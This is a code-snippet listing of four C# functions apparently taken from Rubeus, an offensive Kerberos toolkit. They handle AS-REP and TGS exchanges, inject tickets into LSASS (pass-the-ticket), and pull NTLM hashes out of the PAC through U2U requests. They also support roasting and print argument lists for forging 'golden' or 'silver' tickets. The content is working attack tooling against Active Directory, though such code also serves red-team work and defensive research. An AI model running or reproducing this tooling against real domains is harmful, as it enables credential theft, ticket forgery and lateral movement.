Beispiel #1
0
        public bool ValidateTicketChecksum(byte[] krbKey)
        {
            SignatureData ticketSig = null;

            // find the PAC the old TicketChecksum
            foreach (var tmpadData in authorization_data)
            {
                foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData)
                {
                    if (ifrelevant is ADWin2KPac win2k_pac)
                    {
                        foreach (var PacInfoBuffer in win2k_pac.Pac.PacInfoBuffers)
                        {
                            if (PacInfoBuffer.Type is PacInfoBufferType.TicketChecksum)
                            {
                                ticketSig = (SignatureData)PacInfoBuffer;
                            }
                        }
                    }
                }
            }

            if (ticketSig == null)
            {
                return(false);
            }

            byte[] calculatedSig = CalculateTicketChecksum(krbKey, ticketSig.SignatureType);

            return(Helpers.ByteArrayToString(calculatedSig) == Helpers.ByteArrayToString(ticketSig.Signature));
        }
Beispiel #2
0
        private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "")
        {
            // parse the response to an AS-REP
            AS_REP rep = new AS_REP(responseAsn);

            // convert the key string to bytes
            byte[] key;
            if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq))
            {
                // generate the decryption key using Diffie Hellman shared secret
                PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value;
                key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0],
                                                    pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype));
            }
            else
            {
                // convert the key string to bytes
                key = Helpers.StringToByteArray(asReq.keyString);
            }

            // decrypt the enc_part containing the session key/etc.
            // TODO: error checking on the decryption "failing"...
            byte[] outBytes;

            if (etype == Interop.KERB_ETYPE.des_cbc_md5)
            {
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else if (etype == Interop.KERB_ETYPE.rc4_hmac)
            {
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
            {
                // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
            {
                // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else
            {
                throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
            }

            AsnElt ae = AsnElt.Decode(outBytes);

            EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

            // now build the final KRB-CRED structure
            KRB_CRED cred = new KRB_CRED();

            // add the ticket
            cred.tickets.Add(rep.ticket);

            // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

            KrbCredInfo info = new KrbCredInfo();

            // [0] add in the session key
            info.key.keytype  = encRepPart.key.keytype;
            info.key.keyvalue = encRepPart.key.keyvalue;

            // [1] prealm (domain)
            info.prealm = encRepPart.realm;

            // [2] pname (user)
            info.pname.name_type   = rep.cname.name_type;
            info.pname.name_string = rep.cname.name_string;

            // [3] flags
            info.flags = encRepPart.flags;

            // [4] authtime (not required)

            // [5] starttime
            info.starttime = encRepPart.starttime;

            // [6] endtime
            info.endtime = encRepPart.endtime;

            // [7] renew-till
            info.renew_till = encRepPart.renew_till;

            // [8] srealm
            info.srealm = encRepPart.realm;

            // [9] sname
            info.sname.name_type   = encRepPart.sname.name_type;
            info.sname.name_string = encRepPart.sname.name_string;

            // add the ticket_info into the cred object
            cred.enc_part.ticket_info.Add(info);

            byte[] kirbiBytes = cred.Encode().Encode();

            if (verbose)
            {
                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                if (Rubeus.Program.wrapTickets)
                {
                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }
                else
                {
                    Console.WriteLine("      {0}", kirbiString);
                }
            }

            if (!String.IsNullOrEmpty(outfile))
            {
                outfile = Helpers.MakeValidFileName(outfile);
                if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                {
                    if (verbose)
                    {
                        Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                    }
                }
            }

            if (ptt || ((ulong)luid != 0))
            {
                // pass-the-ticket -> import into LSASS
                LSA.ImportTicket(kirbiBytes, luid);
            }

            if (describe)
            {
                KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
                LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key);
            }

            if (getCredentials)
            {
                Console.WriteLine("[*] Getting credentials using U2U\r\n");
                byte[] u2uBytes    = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true);
                byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes);
                if (u2uResponse == null)
                {
                    return(null);
                }
                AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse);

                // check the response value
                int responseTag = u2uResponseAsn.TagValue;

                if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
                {
                    // parse the response to an TGS-REP and get the PAC
                    TGS_REP       u2uRep           = new TGS_REP(u2uResponseAsn);
                    EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key);
                    PACTYPE       pt = u2uEncTicketPart.GetPac(key);

                    // look for the credential information and print
                    foreach (var pacInfoBuffer in pt.PacInfoBuffers)
                    {
                        if (pacInfoBuffer is PacCredentialInfo ci)
                        {
                            Console.WriteLine("  CredentialInfo         :");
                            Console.WriteLine("    Version              : {0}", ci.Version);
                            Console.WriteLine("    EncryptionType       : {0}", ci.EncryptionType);

                            if (ci.CredentialInfo.HasValue)
                            {
                                Console.WriteLine("    CredentialData       :");
                                Console.WriteLine("      CredentialCount    : {0}", ci.CredentialInfo.Value.CredentialCount);

                                foreach (var credData in ci.CredentialInfo.Value.Credentials)
                                {
                                    string hash = "";
                                    if ("NTLM".Equals(credData.PackageName.ToString()))
                                    {
                                        int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0);
                                        int flags   = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4);
                                        if (flags == 3)
                                        {
                                            hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
                                        }
                                        else
                                        {
                                            hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
                                        }
                                    }
                                    else
                                    {
                                        hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials);
                                    }

                                    Console.WriteLine("       {0}              : {1}", credData.PackageName, hash);
                                }
                            }
                            else
                            {
                                Console.WriteLine("    CredentialData    :   *** NO KEY ***");
                            }
                        }
                    }
                }
                else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
                {
                    // parse the response to an KRB-ERROR
                    KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]);
                    Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
                }
                else
                {
                    Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                }
            }

            return(kirbiBytes);
        }
Beispiel #3
0
        public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false)
        {
            string dcIP = Networking.GetDCIP(domainController, display);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            if (display)
            {
                if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
                {
                    Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType);
                }
                else
                {
                    Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType);
                }

                if (!String.IsNullOrEmpty(service))
                {
                    Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
                }
                else if (u2u)
                {
                    Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName);
                }
                else
                {
                    Console.WriteLine("[*] Building TGS-REQ request");
                }
            }

            // if /service is empty get name from the supplied /tgs
            if (u2u && tgs != null && String.IsNullOrEmpty(service))
            {
                service = tgs.enc_part.ticket_info[0].pname.name_string[0];
            }

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u);

            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
            {
                if (display)
                {
                    Console.WriteLine("[+] TGS request successful!");
                }

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);

                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT
                if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0))
                {
                    byte[] tgtBytes = TGS_REQ.NewTGSReq(userName, domain, string.Format("krbtgt/{0}", domain), providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast, opsec, true);

                    byte[] tgtResponse = Networking.SendBytes(dcIP, 88, tgtBytes);
                }

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = rep.crealm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                if (ptt)
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                if (String.IsNullOrEmpty(servicekey) && u2u)
                {
                    servicekey = Helpers.ByteArrayToString(clientKey);
                }

                if (display)
                {
                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                    if (Rubeus.Program.wrapTickets)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }

                    KRB_CRED kirbi = new KRB_CRED(kirbiBytes);

                    LSA.DisplayTicket(kirbi, 2, false, false, false, false,
                                      string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey));
                }

                if (!String.IsNullOrEmpty(outfile))
                {
                    outfile = Helpers.MakeValidFileName(outfile);
                    if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                    {
                        if (display)
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                        }
                    }
                }

                if (!String.IsNullOrEmpty(servicekey) && printargs)
                {
                    var     decryptedEncTicket = cred.tickets[0].Decrypt(Helpers.StringToByteArray(servicekey), null);
                    PACTYPE pt = decryptedEncTicket.GetPac(null);
                    if (pt == null)
                    {
                        Console.WriteLine("[X] Unable to get the PAC");
                        return(kirbiBytes);
                    }

                    string outArgs = String.Empty;

                    foreach (var pacInfoBuffer in pt.PacInfoBuffers)
                    {
                        if (pacInfoBuffer is LogonInfo li)
                        {
                            outArgs = String.Format("/user:{0} /id:{1} /pgid:{2} /logoncount:{3} /badpwdcount:{4} /sid:{5} /netbios:{6}", li.KerbValidationInfo.EffectiveName, li.KerbValidationInfo.UserId, li.KerbValidationInfo.PrimaryGroupId, li.KerbValidationInfo.LogonCount, li.KerbValidationInfo.BadPasswordCount, li.KerbValidationInfo.LogonDomainId.GetValue(), li.KerbValidationInfo.LogonDomainName);
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.FullName.ToString()))
                            {
                                outArgs = String.Format("{0} /displayname:\"{1}\"", outArgs, li.KerbValidationInfo.FullName);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonScript.ToString()))
                            {
                                outArgs = String.Format("{0} /scriptpath:\"{1}\"", outArgs, li.KerbValidationInfo.LogonScript);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.ProfilePath.ToString()))
                            {
                                outArgs = String.Format("{0} /profilepath:\"{1}\"", outArgs, li.KerbValidationInfo.ProfilePath);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectory.ToString()))
                            {
                                outArgs = String.Format("{0} /homedir:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectory);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectoryDrive.ToString()))
                            {
                                outArgs = String.Format("{0} /homedrive:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectoryDrive);
                            }
                            if (li.KerbValidationInfo.GroupCount > 0)
                            {
                                outArgs = String.Format("{0} /groups:{1}", outArgs, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next));
                            }
                            if (li.KerbValidationInfo.SidCount > 0)
                            {
                                outArgs = String.Format("{0} /sids:{1}", outArgs, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next));
                            }
                            if (li.KerbValidationInfo.ResourceGroupCount > 0)
                            {
                                outArgs = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", outArgs, li.KerbValidationInfo.ResourceGroupDomainSid.GetValue().ToString(), li.KerbValidationInfo.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next));
                            }
                            try
                            {
                                outArgs = String.Format("{0} /logofftime:\"{1}\"", outArgs, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime());
                            }
                            catch { }
                            DateTime?passLastSet = null;
                            try
                            {
                                passLastSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32));
                            }
                            catch { }
                            if (passLastSet != null)
                            {
                                outArgs = String.Format("{0} /pwdlastset:\"{1}\"", outArgs, ((DateTime)passLastSet).ToLocalTime());
                                DateTime?passCanSet = null;
                                try
                                {
                                    passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32));
                                }
                                catch { }
                                if (passCanSet != null)
                                {
                                    outArgs = String.Format("{0} /minpassage:{1}d", outArgs, (((DateTime)passCanSet) - ((DateTime)passLastSet)).Days);
                                }
                                DateTime?passMustSet = null;
                                try
                                {
                                    passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32));
                                }
                                catch { }
                                if (passMustSet != null)
                                {
                                    outArgs = String.Format("{0} /maxpassage:{1}d", outArgs, (((DateTime)passMustSet) - ((DateTime)passLastSet)).Days);
                                }
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonServer.ToString()))
                            {
                                outArgs = String.Format("{0} /dc:{1}.{2}", outArgs, li.KerbValidationInfo.LogonServer.ToString(), cred.tickets[0].realm);
                            }
                            if ((Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT)
                            {
                                outArgs = String.Format("{0} /uac:{1}", outArgs, String.Format("{0}", (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl).Replace(" ", ""));
                            }
                        }
                    }

                    Console.WriteLine("\r\n[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:\r\n\r\n{0}\r\n", outArgs);
                }

                return(kirbiBytes);
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
            return(null);
        }
Beispiel #4
0
        public Tuple <bool, bool, bool> ValidatePac(byte[] serviceKey, byte[] krbKey = null)
        {
            byte[] pacBytes = null;
            if (authorization_data != null)
            {
                foreach (var addata in authorization_data)
                {
                    foreach (var ifrelevant in ((ADIfRelevant)addata).ADData)
                    {
                        if (ifrelevant is ADWin2KPac win2k_pac)
                        {
                            pacBytes = win2k_pac.ad_data;
                        }
                    }
                }
            }
            if (pacBytes == null)
            {
                return(null);
            }
            BinaryReader br = new BinaryReader(new MemoryStream(pacBytes));
            int          cBuffers = br.ReadInt32();
            int          Version = br.ReadInt32();
            long         offset = 0, svrOffset = 0, kdcOffset = 0;

            Interop.KERB_CHECKSUM_ALGORITHM svrSigType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256;
            Interop.KERB_CHECKSUM_ALGORITHM kdcSigType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256;
            int svrLength = 12, kdcLength = 12;

            byte[] oldSvrSig = null, oldKdcSig = null;

            for (int idx = 0; idx < cBuffers; ++idx)
            {
                var type       = (PacInfoBufferType)br.ReadInt32();
                var bufferSize = br.ReadInt32();
                offset = br.ReadInt64();

                long oldPostion = br.BaseStream.Position;
                br.BaseStream.Position = offset;
                var pacData = br.ReadBytes(bufferSize);
                br.BaseStream.Position = oldPostion;
                BinaryReader brPacData = new BinaryReader(new MemoryStream(pacData));

                switch (type)
                {
                case PacInfoBufferType.KDCChecksum:
                    kdcOffset  = offset + 4;
                    kdcSigType = (Interop.KERB_CHECKSUM_ALGORITHM)brPacData.ReadInt32();
                    if (kdcSigType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)
                    {
                        kdcLength = 16;
                    }
                    oldKdcSig = brPacData.ReadBytes(kdcLength);
                    break;

                case PacInfoBufferType.ServerChecksum:
                    svrOffset  = offset + 4;
                    svrSigType = (Interop.KERB_CHECKSUM_ALGORITHM)brPacData.ReadInt32();
                    if (svrSigType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)
                    {
                        svrLength = 16;
                    }
                    oldSvrSig = brPacData.ReadBytes(svrLength);
                    break;
                }
            }

            byte[] svrZeros = new byte[svrLength], kdcZeros = new byte[kdcLength];
            Array.Clear(svrZeros, 0, svrLength);
            Array.Clear(kdcZeros, 0, kdcLength);
            Array.Copy(svrZeros, 0, pacBytes, svrOffset, svrLength);
            Array.Copy(kdcZeros, 0, pacBytes, kdcOffset, kdcLength);

            byte[] svrSig = Crypto.KerberosChecksum(serviceKey, pacBytes, svrSigType);

            if (krbKey == null)
            {
                return(Tuple.Create((Helpers.ByteArrayToString(oldSvrSig) == Helpers.ByteArrayToString(svrSig)), false, false));
            }

            byte[] kdcSig = Crypto.KerberosChecksum(krbKey, oldSvrSig, kdcSigType);
            return(Tuple.Create((Helpers.ByteArrayToString(oldSvrSig) == Helpers.ByteArrayToString(svrSig)), (Helpers.ByteArrayToString(oldKdcSig) == Helpers.ByteArrayToString(kdcSig)), ValidateTicketChecksum(krbKey)));
        }